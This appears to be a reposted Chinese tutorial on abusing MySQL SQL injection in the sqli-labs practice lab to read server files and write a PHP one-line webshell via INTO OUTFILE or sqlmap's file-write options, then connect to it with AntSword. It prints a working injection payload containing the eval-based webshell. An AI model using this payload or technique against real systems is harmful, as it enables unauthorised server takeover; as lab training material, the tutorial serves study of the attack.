目錄
一、前提條件
二、手工方式
讀檔案:
寫檔案:
三、Sqlmap方式
Sqlmap 讀取服務器檔案
Sqlmap 寫檔案到服務器并獲取webshell
一、前提條件:
- 當前用戶具有檔案讀寫權限

- 知道讀寫檔案的絕對路徑
- Mysql.ini設定secure_file_priv為下圖所示

二、手工方式
讀檔案:


寫檔案:
- 首先發現注入點,可以利用注入手法進行回顯
- 利用into outfile ‘上傳檔案路徑+檔案名’ 進行寫檔案操作,如下所示:
http://192.168.132.139/sqli-labs-master/Less-1/?id=2' and 1=2 union select 1,"<?php @eval($_REQUEST[777]);?>",3 into outfile 'C:\\soft\\phpstudy\\WWW\\1.php' --+
- 成功上傳一句話木馬

4. 用蟻劍連接拿到webshell

三、Sqlmap方式
Sqlmap 讀取服務器檔案
--file-read引數


Sqlmap 寫檔案到服務器并獲取webshell
–file-write和–file-dest
將已經寫好的shell.php -----/home/kali/Desktop/shell.php


成功上傳:

用蟻劍連接:

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/319640.html
標籤:其他
下一篇:Sqlmap使用及提權
